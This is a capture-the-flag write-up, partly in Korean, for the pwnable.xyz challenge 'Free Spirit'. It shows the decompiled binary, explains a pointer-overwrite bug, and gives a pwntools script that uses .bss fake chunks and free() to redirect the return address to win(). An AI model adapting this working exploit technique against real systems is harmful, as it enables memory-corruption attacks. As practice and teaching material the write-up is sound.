[pwnable.xyz]Free Spirit
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
signed __int64 i; // rcx
int v5; // eax
__int64 v7; // [rsp+8h] [rbp-60h]
char *buf; // [rsp+10h] [rbp-58h]
char nptr; // [rsp+18h] [rbp-50h]
unsigned __int64 v10; // [rsp+48h] [rbp-20h]
v10 = __readfsqword(0x28u);
setup();
buf = malloc(0x40uLL);
while ( 1 )
{
while ( 1 )
{
_printf_chk(1LL, "> ");
v3 = &nptr;
for ( i = 12LL; i; --i )
{
*v3 = 0;
v3 += 4;
}
read(0, &nptr, 0x30uLL);
v5 = atoi(&nptr);
if ( v5 != 1 )
break;
__asm { syscall; LINUX - sys_read }
}
if ( v5 <= 1 )
break;
if ( v5 == 2 )
{
_printf_chk(1LL, "%p\n");
}
else if ( v5 == 3 )
{
if ( limit <= 1 )
_mm_storeu_si128(&v7, _mm_loadu_si128(buf));// buf -> v7 (16byte)
}
else
{
LABEL_16:
puts("Invalid");
}
}
if ( v5 )
goto LABEL_16;
if ( !buf )
exit(1);
free(buf);
return 0;
}
2번 메뉴로 buf 주소 알 수 있고 리턴 주소도 구할 수 있다. 3번 메뉴로 buf에 입력받은걸 v7으로 16바이트만큼 덮는데 buf가 또 덮여서 포인터 값을 바꿔줄 수 있다. 그래서 리턴을 win주소로 바꿔주고 free(buf)를 트리거 해줘야 정상적으로 win으로 리턴될 거다. 쓰기 권한이 있는 bss 영역에 fake chunk를 구성해주면 된다. free할 때 인접한 chunk도 검사하므로 2개를 만들어주면 된다.
exploit.py
from pwn import *
# context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30005)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
bss = 0x601038
sla('>','2')
buf = int(p.recvline().strip(),16)
log.info('buf : ' + hex(buf))
ret = buf + 0x58
log.info('return : ' + hex(ret))
sla('>','1')
s('A'*8+p64(ret)) # buf -> ret
sla('>','3')
sla('>','1')
s(p64(win)+p64(bss)) # ret -> win
sla('>','3')
sla('>','1')
s(p64(0x51)+p64(bss+80)) # fake chunk1
sla('>','3')
sla('>','1')
s(p64(0x51)+p64(bss+8)) # fake chunk2
sla('>','3')
#raw_input()
sla('>','0') # free(buf) -> ret -> win
p.interactive()